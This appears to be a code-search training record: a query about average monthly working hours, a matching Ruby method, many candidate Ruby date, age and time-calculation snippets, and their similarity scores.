"def years ; Duration[self * 365 * 86400, :years] ; end",
"def calc_years_till\n (calc_months_till / 12.00).round(2)\n end",
"def end_year\n Time.now.year \n end",
"def range\n beginning_of_period..(self.next_year).beginning_of_period\n end",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def calculate_yearly_rents_years\n convert_lease_transaction_date\n years = @lbtt_return.lease_end_date.year - @lbtt_return.lease_start_date.year\n years += 1 if @lbtt_return.lease_end_date >= @lbtt_return.lease_start_date.next_year(years)\n years\n end",
"def years() 365 * days end",
"def start_year\n Time.now.year - 75\n end",
"def years ; self * 365.days ; end",
"def start_year\n Time.now.year - 18\n end",
"def raw_year\n start_on.year\n end",
"def period_in_seconds\n (start_time.to_i..end_time.to_i)\n end",
"def to_years; Rational === @val ? @val/12 : @val/12.0 end",
"def years_needed\n 30\n end",
"def period_start\n period.begin\n end",
"def age_in_years(cur = Datet.new)\n years = (cur.year - self.year)\n years -= 1 if cur.day_in_year < self.day_in_year\n return years\n end",
"def duration_in_years\n return_block_or_error_message { duration_in_quarters.to_f / 4 }\n end",
"def age_in_years\n raise 'birth date undefined' if birth_date.nil?\n year_delta = congress_start.year - birth_date.year\n birthday_after_congress? ? year_delta - 1 : year_delta\n end",
"def years\n\t\treturn (self * 365.25.days).to_i\n\tend",
"def years\n\t\treturn (self * 365.25.days).to_i\n\tend",
"def real_study_years\n if finished?\n end_date = finished_on.to_time\n elsif absolved?\n end_date = disert_theme.defense_passed_on.to_time\n else\n end_date = Time.now\n end\n return (end_date - enrolled_on.to_time).div(1.year) + 1\n end",
"def production_year\n self.end.nil? ? nil : self.end.year\n end",
"def expected_death_year\n Chronic.parse(\"#{@years_to_live} years from\nnow\").year\n end",
"def all_year\n beginning_of_year..end_of_year\n end",
"def convert_to_years(seconds)\n seconds/60/60/24/365.25\nend",
"def end_of_year\n @end_of_year ||= date_calc.end_of_year(year)\n end",
"def amy_years\n (Time.now.year - 1977).ordinalize\n end",
"def period\n return @period\n end",
"def year() end",
"def start_end(interval = self.class.interval)\n {\n start: (timestamp.at_end_of_year + 1.second - self.class.interval).at_beginning_of_year.utc,\n end: timestamp.at_end_of_year.utc\n }\n end",
"def period; end",
"def period; end",
"def period; end",
"def get_years\n year = slice_year\n till_year = year.to_i - @past_years\n years = []\n year.to_i.downto(till_year) { |y| years << y }\n years\n end",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n start_year.to_s\n else\n start_year.to_s + '-' + end_year.to_s\n end\n end",
"def year(input) = new_year(input).year - 621",
"def current_age_for_birth_year(birth_year)\n Time.now.year - birth_year\nend",
"def hours_in_a_year\n return 365.25 * 24\nend",
"def birth_year\n @current_year - @age\n end",
"def years\n Thread.current[:datet_mode] = :years\n return self\n end",
"def get_year_ary\n (Date.today.year-99..Date.today.year).inject([]){|x,y| x << y}.reverse\n end",
"def hours_in_year\n 24 * 365\nend",
"def expected_death_year\n Chronic.parse(\"#{years_to_live} years from now\").year.to_s\n end",
"def copyright_period\n if Time.now.year > 2009\n raw %Q(2009–#{Time.now.year})\n else\n raw %Q(2009)\n end\n end",
"def period_as_time\n period.begin.in_time_zone..\n period.end.in_time_zone.end_of_day\n end",
"def determine_age_years(age_in_seconds)\n\n age_in_years = age_in_seconds.to_f / SEC_IN_YEAR\n\nend",
"def years_until_retirement\n @retirement_age.to_i - @current_age.to_i\n end",
"def old_in_years\n (Time.now - @doj)/(60*60*24*365) unless self.doj.nil?\n end",
"def fiscal_years\n get_fiscal_years\n end",
"def copyright_notice_year_range(start_year)\n\t\t# In case the input was not a number (nil.to_i will return a 0)\n\t\tstart_year = start_year.to_i\n\n\t\t# Get the current year from the system\n\t\tcurrent_year = Time.new.year\n\n\t\t# When the current year is more recent than the start year, return a string \n\t\t# of a range (e.g., 2010 - 2012). Alternatively, as long as the start year \n\t\t# is reasonable, return it as a string. Otherwise, return the current year \n\t\t# from the system.\n\t\tif current_year > start_year && start_year > 2000\n\t\t\t\"#{start_year} - #{current_year}\"\n\t\telsif start_year > 2000\n\t\t\t\"#{start_year}\"\n\t\telse\n\t\t\t\"#{current_year}\"\n\t\tend\n\tend",
"def age_calc\n \t now = Time.now.to_date\n now.year - self.year - (self.change(:year=>now.year)>now ? 1 : 0) #rescue 0\n \tend",
"def effective_year\n if next_year_start_at && Time.zone.now < 1.year.from_now(next_year_start_at)\n if Time.zone.now < next_year_start_at\n return Time.zone.now.year\n elsif Time.zone.now >= next_year_start_at\n if Time.zone.now.year == next_year_start_at.year\n return Time.zone.now.year + 1\n else\n return Time.zone.now.year\n end\n end\n elsif Time.zone.now.month == 12 && Time.zone.now.day >= 1\n return Time.zone.now.year + 1\n end\n\n Time.zone.now.year\n end",
"def associated_years\n years = \"\"\n \n\t start_date = event_start\n\t start_date = entry_deadline if is_opportunity?\n\t \n years << start_date.year.to_s if !start_date.blank?\n years << ' '\n years << event_finish.year.to_s if !event_finish.blank?\n \n #remove duplicates and trim off spaces\n unique_years = years.strip.split(' ').uniq.sort\n result = unique_years\n if unique_years.length > 1\n result = []\n for y in unique_years[0]..unique_years[1]\n result << y\n end\n end\n result\n #now we have the 2004-2008 case to deal with, we wish to create [2004,2005,...2008]\n \n end",
"def calculate_end_date(start_date, end_date)\n end_date_from_start_date = start_date + 3.years\n\n return end_date_from_start_date if end_date.nil?\n\n end_date < end_date_from_start_date ? end_date : end_date_from_start_date\n end",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def timeyears\n if self[:timeyears].nil?\n return \"\"\n else\n return self[:timeyears].to_i.to_s\n end\n end",
"def days_to_years(days)\n days / 365\nend",
"def end_of_year(year)\n date_calc.end_of_year(year)\n end",
"def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end",
"def age_in_years(age_in_seconds)\n seconds = 60.0\n minutes = 60.0\n hours = 24.0\n days = 365.0\n\n age_in_seconds / seconds / minutes / hours / days\nend",
"def days_in_year\n 365.25\nend",
"def initialized_year_hash\n year_in_range = self.startDate.year\n year_hash = {}\n while year_in_range <= self.endDate.year\n year_hash[year_in_range] = BigDecimal(0.0, 10)\n year_in_range += 1\n end\n year_hash\n end",
"def status_to\n TermsCalculator.this_year_end.to_date\n end",
"def year\n self.range('year')\n end",
"def year\n return @t_year\n end",
"def minutes_per_year\n 365 * 24 * 60\nend",
"def estimated_deathyear_range_to_s\n result = \"\"\n \n # only bother with this calculation if this person is dead with an unkwown date\n # or the person would be over 120 years old\n if (is_dead?)\n earliest = earliest_deathdate\n latest = latest_deathdate\n if (earliest.nil? && latest.nil?)\n result = \"?\"\n elsif (earliest.nil?)\n result = \"before #{latest.year}\"\n elsif (latest.nil?)\n result = \"after #{earliest.year}\"\n else\n result = \"#{earliest.year}/#{latest.year}\"\n end\n end\n return result\n end",
"def last_year(options={})\n today = Time.now\n last_year = today.last_year\n\n between(last_year.beginning_of_year.to_i, last_year.end_of_year.to_i, options)\n end",
"def calculate_years(principal, interest, tax, desired)\n# principal amount\n year = 0\n while principal < desired\n year += 1\n income = principal * interest\n principal += income - income * tax\n end\n year\nend",
"def computed_age\n return nil if dob.blank?\n now = Time.now.utc.to_date\n offset = ((now.month > dob.month || (now.month == dob.month && now.day >= dob.day)) ? 0 : 1)\n now.year - dob.year - offset\n end",
"def estimate_embargo_period( issued, embargo_release )\n period = Date.parse( embargo_release ) - Date.parse( issued )\n case period.to_i\n when 0\n return ''\n when 1..186\n return GenericWork::EMBARGO_VALUE_6_MONTH\n when 187..366\n return GenericWork::EMBARGO_VALUE_1_YEAR\n when 367..731\n return GenericWork::EMBARGO_VALUE_2_YEAR\n when 732..1825\n return GenericWork::EMBARGO_VALUE_5_YEAR\n else\n return GenericWork::EMBARGO_VALUE_FOREVER\n end\n end",
"def period\n case self.recurring_month\n when 12\n 1.year # 1.year != 12.months\n else\n self.recurring_month.months\n end\n end",
"def activity_year_fractions_hash(activity)\n year_fractions = {}\n total_activity_days = activity.endDate - activity.startDate # Cannot be zero, by :validDate\n range_start = activity.startDate\n while range_start.year < activity.endDate.year\n range_end = Date.new(range_start.year + 1)\n year_fractions[range_start.year] = ((range_end - range_start) / total_activity_days)\n range_start = range_end\n end\n year_fractions[range_start.year] = ((activity.endDate - range_start) / total_activity_days)\n year_fractions\n end",
"def difference_in_years(startdate, date)\n # Difference in years, minus one if startdate has not recurred this year.\n a = date.year - startdate.year\n a = a - 1 if ( startdate.month > date.month or (startdate.month >= date.month and startdate.day > date.day) )\n a\n end",
"def start_of_year\n @start_of_year ||= year_start_date\n end",
"def duration\n @end_date - @begin_date\n end",
"def days_in_year(time)\n date = time.to_date\n ((date + 1.year) - date).to_i\n end",
"def year; end",
"def year; end",
"def specified_period\n @range = [@start_date, @end_date]\n end",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n \"\\#{start_year}\"\n else\n \"\\#{start_year}–\\#{end_year}\"\n end\n end",
"def year\n if self.mitDirStudentYear\n Date.today.year + 4 - self.mitDirStudentYear.to_i + ((Date.today.month > 6)?1:0)\n else\n nil\n end\n end",
"def short_age(birth_year)\n Time.new.year - birth_year\nend",
"def current_age_for_birth_year(birth_year)\n return 2016 - birth_year\nend",
"def year_rome_founded\n bce(753)\n end",
"def years\n self.to_i * 31_557_600\n end",
"def w_year; end",
"def faith_years\n (Time.now.year - 1991).ordinalize\n end",
"def years; self * YEAR; end",
"def future(year, month, day)\n years = (10 ** 9) / 60 / 60 / 24 / 365\n days = (10 ** 9) / 60 / 60 / 24 % 365\n\n year = year + years\n \n\nend",
"def current_age_for_birth_year(birth_year)\n 2003 - birth_year\nend",
"def year\n @date_time_value.year\n end",
"def year\n @date_time_value.year\n end",
"def year\n return @year\n end",
"def get_age\n return nil unless birthdate\n\n ((Time.zone.now - birthdate.to_time) / 1.year.seconds).floor\n end",
"def calculate_century(year)\n (year % 100).zero? ? year / 100 : year / 100 + 1\nend",
"def years(tech=nil) \n if tech\n tdata = nil\n @techs.each do |t|\n if t.name == tech\n tdata = t\n end\n end\n if tdata\n return tdata.years\n else\n return 0\n end\n # TODO: return just the time we worked with that technology\n end\n return (@to - @from).to_i / 365\n end"
] |
[
"0.70306045",
"0.6943798",
"0.68555677",
"0.6761447",
"0.6695329",
"0.6685416",
"0.6632617",
"0.65798104",
"0.65458673",
"0.6501599",
"0.64775896",
"0.64306146",
"0.64249253",
"0.64143413",
"0.6328918",
"0.62815076",
"0.62363416",
"0.6224437",
"0.62092423",
"0.61848634",
"0.61679006",
"0.6167034",
"0.6167034",
"0.61587673",
"0.6088504",
"0.60705954",
"0.6053497",
"0.60475886",
"0.59694695",
"0.5956654",
"0.5942159",
"0.5940064",
"0.59363717",
"0.5935634",
"0.5935634",
"0.5935634",
"0.59311855",
"0.59295726",
"0.5917518",
"0.58980733",
"0.5893005",
"0.58633626",
"0.58578575",
"0.58483773",
"0.58477384",
"0.58449996",
"0.5836513",
"0.58347684",
"0.5828034",
"0.5807023",
"0.58055407",
"0.5790873",
"0.5784338",
"0.57790416",
"0.57754546",
"0.5772497",
"0.57697326",
"0.5765104",
"0.5754624",
"0.5745599",
"0.5735755",
"0.57292974",
"0.5727968",
"0.5726239",
"0.5721009",
"0.57002586",
"0.56925344",
"0.5686518",
"0.5685271",
"0.56850165",
"0.5676504",
"0.5673093",
"0.56672645",
"0.5667162",
"0.56666446",
"0.5665985",
"0.5660533",
"0.5655707",
"0.5643401",
"0.5624685",
"0.5612574",
"0.5612574",
"0.56027454",
"0.5601475",
"0.5600017",
"0.559843",
"0.55847496",
"0.55767065",
"0.55757684",
"0.5574793",
"0.5571168",
"0.5515209",
"0.5514482",
"0.5507007",
"0.5504041",
"0.5504041",
"0.5501677",
"0.5496799",
"0.5492342",
"0.5488104"
] |
0.6997837
|
1
|
Find out average number of hours per month based on the number of hours expected to work per day
|
def hours_per_month
((hours_day * days_week_to_i()) * WEEKS_IN_YEAR ).fdiv(MONTHS_IN_YEAR)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def work_per_month(ary_work)\n nary = ary_work.group_by{ |t| \n t[:date] \n }.transform_values { |tasks|\n tasks.reduce(0) { |sum, t|\n sum + t[:time] \n }\n }.to_a.group_by { |e|\n e[0][0..6]\n }.transform_values { |tasks|\n tasks.reduce(0) { |sum, t|\n sum + t[1] \n } / tasks.length\n }\nend",
"def hours_per_day(entries)\n hours_per_day = Hash.new(0.0)\n entries.each do |entry|\n hours_per_day[entry[:start].to_date] += (entry[:end] - entry[:start]) / 3600.0\n end\n hours_per_day\nend",
"def issue_hours_per_day(estimated_hours, start_date, end_date)\n (estimated_hours || 0.0) / (end_date - start_date + 1)\n end",
"def avg_time(data)\n #pp data\n total = 0\n count = 0\n data.each do |_, list|\n list.each do |v|\n unless v[\"value\"].empty?\n hour,min = v[\"value\"].split(':')\n if hour.to_i >= 21\n total += hour.to_i * 60 + min.to_i\n count += 1\n elsif hour.to_i <= 6\n total += 24*60 + hour.to_i * 60 + min.to_i\n count += 1\n end\n end\n end\n end\n avg_hour = total / count / 60 % 24\n avg_min = total / count % 60\n puts \"#{avg_hour}:#{avg_min}\"\nend",
"def get_avg_revenue_per_hour\n avg_rev = (get_total_revenue / get_total_trip_durations_in_hours).round(2)\n return avg_rev.nan? ? 0.0 : avg_rev\n end",
"def average\n return @@average_times.inject(:+).to_f / @@average_times.size\n end",
"def average_pomodoros\n all = PomodoroCountByDay.find_all\n sum = 0\n valid_day = 0\n all.each do |day|\n if day.count > 5\n valid_day+=1\n sum = sum + day.count\n end\n end\n valid_day > 0 ? sum/valid_day : 0\n end",
"def avg_sheriff_hours(before = DateTime.new(2050,01,01))\n @@EXPLAINS[:code_reviews_before] ||= code_reviews(before).explain\n code_reviews(before).average(:total_sheriff_hours)\n end",
"def average(difficulty=1.0, hashrate=1)\n difficulty = current_difficulty\n hashrate = hash_per_second * 1024 * 1024 * 1024\n # Todo: find the current value for foo (seconds?)\n average_foo = eval(\"#{difficulty} * 2**32 / #{hashrate} / 60 / 60.0\")\n # convert foo to hours\n return hours = average_foo / 1000000000\n end",
"def calc_raw_hours(job, task_name, effort)\n if $op_cyclo\n ## The cyclo can be used instead of cyclo, the relationship depends on the coding style, but\n ## a linear seems to hold\n hour = 6*job.cyclo()\n else\n hour = job.each_loc()\n end\n\n hour = hour/effort.to_f\n\n ## Adjust to each product/company coding style (flatness)\n hour = hour * $op_coding_style\n\n hour = 1.5 if hour < 1.5 # .5 hour work is the min for each file\n\n return hour\n end",
"def calculate_overall_power_for\n t = Time.zone.now\n\n until_today = self.energy_data.where(:year=>t.year, :month=> (1..(t.month)), :day=>(1..t.day-1)).sum(\"power\") # total in Wh\n today = self.energy_data.where(:year=>t.year, :month=>t.month, :day=>t.day, :hour=>(1..t.hour)).sum(\"power\") # total in Wh\n until_today + today\n end",
"def average_pricessing_time(mashine_number, remainded_jobs)\n jobs_count = remainded_jobs.count.to_f\n processing_times_for_mashine = processing_times.row(mashine_number)\n\n remainded_jobs\n .map { |job_number| processing_times_for_mashine[job_number] }\n .sum / jobs_count\n end",
"def sum_hours\n @hours.each do |row|\n @cycling[0] += row[0].to_f\n @entertainment[0] += row[1].to_f\n @programming[0] += row[2].to_f\n @reading[0] += row[3].to_f\n @yoga[0] += row[4].to_f\n end\n end",
"def avg_daily_gas_consumption\n res_ = self.total_therms_logged.fdiv(self.total_heatbill_days_logged)\n return res_.nan? ? 0.0 : res_\n end",
"def spec_to_method_ratios_by_month events\n events.group_by {|e| month_from_date(e.date) }\n .map {|_,es| spec_count(es).to_f / es.count }\nend",
"def get_working_hours_total\n @total_hours = 0.0\n unless @saved_time_entries.empty?\n @total_hours = @saved_time_entries.map(&:actual_duration).inject(0) do |total,duration|\n actual_duration = @dur_setng_is_one100th ? one_hundredth_timediffernce(duration) : one_tenth_timediffernce(duration)\n total.to_f.roundf2(2) + actual_duration.to_f\n end\n @total_hours = @total_hours.to_f.roundf2(2)\n end\n @total_hours || 0.0\n end",
"def average_runtime(days=30)\n latest_executions(days).average(:runtime)&.to_f\n end",
"def days_hours_worked(date_and_times)\n days_hours_worked = 0\n day_periods(date_and_times).split(',').each do |day_period, index|\n beginning_of_period, end_of_period = day_period.strip.split('-')\n beginning_of_period = beginning_of_period.strip\n end_of_period = end_of_period.strip\n begin_time = DatelessTime.new(beginning_of_period).to_time\n end_time = DatelessTime.new(end_of_period).to_time\n days_hours_worked += (end_time - begin_time)/60/60\n end\n days_hours_worked\nend",
"def hourly_totals(emoji)\n hour_zero = self.last_hour.where(emoji: emoji).pluck(:created_at).size\n hour_one = self.last_hour_plus_one.where(emoji: emoji).pluck(:created_at).size\n hour_two = self.last_hour_plus_two.where(emoji: emoji).pluck(:created_at).size\n hour_three = self.last_hour_plus_three.where(emoji: emoji).pluck(:created_at).size\n hour_four = self.last_hour_plus_four.where(emoji: emoji).pluck(:created_at).size\n some_days = [hour_zero, hour_one, hour_two, hour_three, hour_four]\n end",
"def average_goals_by_season\n goals_by_season = @games.group_by { |game| game.season.to_s }\n goals_by_season.each do |season, games|\n season_goals = games.map { |game| game.home_goals + game.away_goals }.sum\n goals_by_season[season] = (season_goals.to_f / games.count.to_f).round(2)\n end\n end",
"def average_house_daylights(house_daylights)\n return 0 unless house_daylights.count.positive?\n\n house_daylights.sum / house_daylights.count\n end",
"def average_queue_duration_by_hour\n gmt_offset = Time.now.getlocal.gmt_offset\n select = [\n \"EXTRACT(HOUR FROM contacts.arrived + '#{gmt_offset} seconds') AS hour\",\n 'AVG(EXTRACT(EPOCH FROM contacts.forwarded_to_agent - contacts.arrived)) AS avg_duration'\n ].join(',')\n data = answered_contacts.select(select).group('hour')\n\n result = Array.new(24, 0)\n data.each { |d| result[(d['hour'])] = d['avg_duration'].round }\n result\n end",
"def total_hours\n ('%.02f' % ((ends_at - starts_at) / 1.hour)).to_f\n end",
"def hours_spent\n \thours_spent = 0\n \tinputs.each do |input|\n \t\thours_spent += input.hours\n \tend\n \thours_spent\n end",
"def deviation_hours_for_issue_this_month\n return @deviation_hours_for_issue_this_month if defined?(@deviation_hours_for_issue_this_month)\n\n @deviation_hours_for_issue_this_month = nil\n\n return @deviation_hours_for_issue_this_month if issue_id.blank?\n\n date_filter = Date.today\n\n scope_for_time_entries = TimeEntry.\n where(:issue_id => self.issue_id).\n where(:tyear => date_filter.year).\n where(:tmonth => date_filter.month)\n\n cf = self.class.deviation_custom_field\n total = cf.format.total_for_scope(cf, scope_for_time_entries)\n @deviation_hours_for_issue_this_month = cf.format.cast_total_value(cf, total)\n end",
"def divide_tweets_per_month(tweets)\n result = {};\n\n # Initialize the hash to 0\n today = DateTime.now.to_date\n (0..5).to_a.reverse.each do |i|\n date = today.beginning_of_month - i.month\n\n result[date.beginning_of_month] = 0\n end\n\n # For each tweet add 1 to the number of tweets in the correct month\n tweets.each do |tweet|\n tweet_date = tweet.created_at.to_date\n\n result[tweet_date.beginning_of_month] += 1\n end\n\n return result\n end",
"def avg_time_spent\n\t\ttotal_time = self.visitors.inject(0){|sum,v| sum + v.total_time }.to_f\n\t\tavg_time = total_time/self.total_visits\n\tend",
"def average_restarts\n return @average_restarts\n end",
"def count_of_days_in(month)\n 28 + (month + (month / 8)) % 2 + 2 % month + 2 * (1 / month)\nend",
"def month_count\n h = {}\n @v.size.times do |i|\n time = @start_time + i.hours\n h[time.month] ||= 0.0\n h[time.month] += 1\n end\n\n # @v.each_with_index do |value, i|\n # time = @start_time + i.hours\n # h[time.month] ||= 0.0\n # h[time.month] += 1\n # end\n \n c = self.clone \n c.size.times do |i|\n time = @start_time + i.hours\n c.set_value(i, h[time.month])\n end\n c\n end",
"def average_goals_per_game\n total_goals = @teams.map {|team| team.total_goals_scored}.sum\n total_games = @teams.map {|team| team.home_games}.sum\n (total_goals.to_f / total_games.to_f).round(2)\n end",
"def total(entries)\n seconds = entries.inject(0) { |sum, entry| sum + (entry[:end] - entry[:start]) }\n hours = seconds / 3600\nend",
"def total_work_minutes\n @date_range.inject(0) do |minutes, date|\n # Do not count days off\n minutes += get_minutes_in_day(date) unless day_off?(date)\n minutes\n end\n end",
"def avg_temp_this_weekend\n data = find_weekend_data\n weekend_avg = (data[0][\"temperatureMax\"] + data[1][\"temperatureMax\"])/2\n end",
"def calculate_scores_and_attendabilities\n @scores = {}\n @attendabilities = {}\n \n @daily_slots[:monday].each do |monday_hour|\n @daily_slots[:wednesday].each do |wednesday_hour|\n @scores[[monday_hour, wednesday_hour]] = score_for_pair(monday_hour, wednesday_hour)\n @attendabilities[[monday_hour, wednesday_hour]] = attendability_for_pair(monday_hour, wednesday_hour)\n end\n end\n end",
"def getavg\r\n\t\tif @duration == 0\r\n\t\t\treturn 0\r\n\t\telse\r\n\t\t\treturn ((@miles_driven.to_f / @duration)*60)\r\n\t\tend\r\n\tend",
"def number_of_hours(datetime, exclude_shift = nil)\n week_start = datetime.beginning_of_week\n week_end = datetime.end_of_week\n\n base = exclude_shift ? shifts.where(\"id != ?\", exclude_shift.id) : shifts\n\n base.where(\"start <= ? AND finish >= ?\", week_end, week_start).sum do |shift|\n # Intersect the shift with the week boundaries\n in_week_start = [week_start, shift.start].max\n in_week_finish = [week_end, shift.finish].min\n\n (in_week_finish - in_week_start)/3600\n end.round(2)\n end",
"def consolidate_week \n \t#grab last 30 days\n t = Time.zone.local(2012,12,10);\n\n \trefEntry = self.energy_data.where(:month => t.month, :day => t.day).last\n \tputs \"REFENTRY\", refEntry.nil?\n refDay = refEntry.day\n puts \"PASTDAY\"\n tmp_refDay = refDay\n \trefMonth = refEntry.month\n \tcount = (0..30).to_a\n \t@dateCount = Array.new\n \t@weekTotals = Array.new\n \tsubCount = 0\n\n #creating date array for weekTotals, assumes each month has 31 days\n \tcount.each do |var|\n \t\tif (tmp_refDay - subCount) > 0\n \t\t\t@dateCount << [tmp_refDay - subCount, refMonth]\n \t\telse\n tmp_refDay = 30\n \t\t\trefMonth = refMonth - 1\n \t\t\tsubCount = 0\n \t\t\t@dateCount << [tmp_refDay - subCount, refMonth]\n \t\tend\n \t\tsubCount = subCount + 1\n \tend\n\n \tarrayCount = 0\n\n \t@dateCount.each do |day, month|\n puts day, \" \", month\n temp_Obj = self.energy_data.where(:day=>day, :month=>month).last\n \t\tif month== t.month && day == t.day\n @weekTotals[arrayCount] = [Time.utc(2012, temp_Obj.month, temp_Obj.day).to_i*1000, self.energy_data.where(:day => day, :month => month, :hour=>(1..t.hour)).sum(\"power\")/1000]\n else\n @weekTotals[arrayCount] = [Time.utc(2012, temp_Obj.month, temp_Obj.day).to_i*1000, self.energy_data.where(\"day=#{day} AND month=#{month}\").sum(\"power\")/1000]\n \t\tend\n arrayCount = arrayCount + 1\n \tend\n\n # return both because @weekTotals must be 0-indexed, @dateCount has actual dates\n \treturn @dateCount, @weekTotals\n end",
"def worked(start_date = DateTime.now, end_date = start_date)\n self.timeslips(start_date, end_date).collect do |timeslip|\n timeslip.hours\n end.inject(0) { |sum, i| sum += i }\n end",
"def effective_num_hours\n actual_hours = sessions.map(&:hours).reduce(&:+)\n [actual_hours, time_constraint(:max_hours)].compact.min\n end",
"def consolidate_day\n t = Time.zone.local(2012,12,10);\n\n two_days_ago = t - 2.days\n one_days_ago = t - 1.day\n\n last_couple_days = self.energy_data.where(:year => t.year, :month => t.month, :day => one_days_ago.day) #we're 1-indexed\n dayofInterest = self.energy_data.where(:year => t.year, :month => t.month, :day => t.day, :hour => (1..(t.hour+1))) #we're 1-indexed\n @dayTotals = Array.new\n count = 0\n\n hour_sim = 0\n\n #previous couple days\n last_couple_days.each do |day|\n @dayTotals[count] = [Time.utc(day.year,day.month,day.day,day.hour).to_i*1000, day.power]\n count = count + 1\n end\n\n # create array with [hour, power]\n dayofInterest.each do |day|\n last_hour = day.hour\n @dayTotals[count] = [Time.utc(day.year,day.month,day.day,day.hour).to_i*1000, day.power]\n count = count + 1\n end\n\n @dayTotals\n end",
"def avg_lines_per_commit_by_week events\n cls_by_month = lines_added_per_commit(events).group_by {|date,_| week_from_date(date) }\n cls_by_month.flat_map {|_,cls| cls.map {|cl| cl[1]}.mean }\nend",
"def average_rent\n unit_rent = @units.each_key do |unit, value|\n unit[:monthly_rent]\n end\n (unit_rent.sum / 2).round(1)\n end",
"def get_trailing_avg_day\n how_many_games = {}\n\n names = []\n db = Mysql.new('127.0.0.1','root',ENV[\"SQL_PASSWORD\"],'fanduel')\n name_results = db.query(\"SELECT name from oconnor where fanduel_pts is not null and mp > 0 order by name asc\")\n\n name_results.each do |name_result|\n names << name_result[0]\n end\n names = names.uniq\n\n names.each do |name|\n master_avgs_string = \"#{name}, \"\n\n db = Mysql.new('127.0.0.1','root',ENV[\"SQL_PASSWORD\"],'fanduel')\n results = db.query(\"SELECT date, name, fanduel_pts, mp from oconnor where name='#{Mysql.escape_string(name)}' and fanduel_pts is not null and date < '#{Date.today}' order by date asc\")\n\n games = []\n\n results.each do |result|\n games.push(result[2].to_f/result[3].to_f)\n end\n\n empty = []\n averages1=[]\n averages2=[]\n averages3=[]\n averages4=[]\n averages5=[]\n averages6=[]\n averages7=[]\n averages8=[]\n averages9=[]\n averages10=[]\n averages11=[]\n averages12=[]\n averages13=[]\n averages14=[]\n averages15=[]\n\n differences = [[empty], [averages1], [averages2], [averages3], [averages4], [averages5], [averages6], [averages7], [averages8], [averages9], [averages10], [averages11], [averages12], [averages13], [averages14], [averages15]]\n\n avg_differences = []\n games.each do |game|\n\n game_num = games.index(game)\n if game_num!=0\n #puts \"Actual Performance in game #{game_num}: #{games[game_num]}\"\n\n if game_num > 15\n upper = 15\n else\n upper = game_num\n end\n\n for j in 1..upper\n\n trailing_number = j\n sum = 0\n i = 1\n\n while i <= trailing_number\n game_avg = games[game_num-i]\n sum+= game_avg\n i+=1\n end\n\n trailing_avg = sum/trailing_number\n difference = (games[game_num]-trailing_avg).abs\n differences[trailing_number].push(difference)\n #puts \"#{trailing_number} game average: #{difference} p/m off\"\n end\n end\n end\n haystack = []\n for d in 1..15\n sum=0\n num_of_avgs=0\n differences[d].each do |diff|\n if diff.class==Float\n #puts \"#{d}: #{diff}\"\n sum+=diff\n num_of_avgs+=1\n end\n end\n\n if num_of_avgs>0\n avg_avg = sum/num_of_avgs\n haystack.push(avg_avg)\n master_avgs_string << \"#{avg_avg},\"\n end\n end\n\n if haystack!=nil\n what_to_use = 0\n if haystack.index(haystack.min) != nil\n what_to_use = haystack.index(haystack.min)\n end\n #puts \"#{name} - #{what_to_use+1}\"\n how_many_games[name] = what_to_use+1\n end\n end\n return how_many_games\nend",
"def ticket_estimate_in_hours(estimated_minutes)\n (estimated_minutes.to_f / 60).round\n end",
"def nights\n count = (@end_date - @start_date)/(60*60*24)\n return count\n end",
"def rank_times\n hours = Array.new(24){0}\n @file.each do |line|\n hour = line[:regdate].split(\" \")\n hour = hour[1].split(\":\")\n hours[hour[0].to_i] += 1\n\n end\n hours.each_with_index{ |counter,hours| puts \"#{hours}: #{counter}\"}\n end",
"def target_number_of_ama_hearings(time_period)\n decisions_in_days = (time_period.to_f / 1.year) * nonpriority_decisions_per_year\n (decisions_in_days * docket_proportions[:hearing]).round\n end",
"def spec_percent_by_week events\n events.group_by {|e| week_from_date(e.date) }\n .map {|week,es| [week, spec_count(es).to_f / es.count] }\nend",
"def calc_average_distance(time_period)\n return 0 if time_period.size <= 1 # Need at least 2 cars\n sum = 0\n for i in 0...(time_period.size - 1)\n sum += calc_distance(time_period[0], time_period[1])\n end\n return sum / (time_period.size - 1)\n end",
"def total_hours_per_week\n exsisting_shift_hour = Schedule.where(start_time: Date.today-7..Date.today, employee_id: self.employee_id).sum('shift_hour')\n current_shift_hour = self.id.present? ? 0 : (self.end_time - self.start_time)/3600\n if (current_shift_hour + exsisting_shift_hour) > 40\n errors.add(:start_time, 'must be less than equal to 40 per week')\n end\n end",
"def avg_shots_per_kill\n @avg_shots_per_kill = @shots.to_f / @kills if @avg_shots_per_kill.nil?\n\n @avg_shots_per_kill\n end",
"def get_average_age_for_season(data, season)\n age_total = 0\n num_of_contestants = 0\n data[season].each do |contestant_hash|\n age_total += (contestant_hash[\"age\"]).to_i\n num_of_contestants += 1\n end\n (age_total / num_of_contestants.to_f).round(0)\nend",
"def total_hour_kwh_usage_on(date, hour)\n raise \"Invalid argument: Please use a non negative value for hour\" if hour < 0\n raise \"Invalid argument: Please use a value that is less than or equal to 23 for hour\" if hour > 23\n\n lower = date + hour.hour\n upper = lower + 1.hour\n\n return 0.0 unless lower < Time.now.utc\n\n connection = ActiveRecord::Base.connection()\n pgresult = connection.execute(\n \"SELECT SUM(watthours)\n FROM sensor_readings\n WHERE sensor_id = #{id}\n AND created_at BETWEEN '#{lower}' and '#{upper}'\")\n output = pgresult.nil? ? 0.0 : (pgresult[0].values[0].to_f)/60/1000\nend",
"def hours_for_week(date)\n start_date = date.monday - 1.week - 1.day\n end_date = (date - 1.week).sunday - 1.day\n users_shifts = WorkshiftAssignment.where(workshifter_id: id,\n date: start_date..end_date)\n hours = 0\n users_shifts.each do |shift|\n hours += shift.hours * shift.hours_multiplier\n end\n hours - required_hours\n end",
"def compute_running_avg_array(set, upper_bound)\n result = set_three_month_avg(set, upper_bound)\n result[upper_bound-1] = result[upper_bound-1] * 3 if upper_bound == set.length\n result[upper_bound-2] = result[upper_bound-2] * 3 / 2 if upper_bound > 1 and upper_bound == set.length\n result[0] = \"null\"\n result\n end",
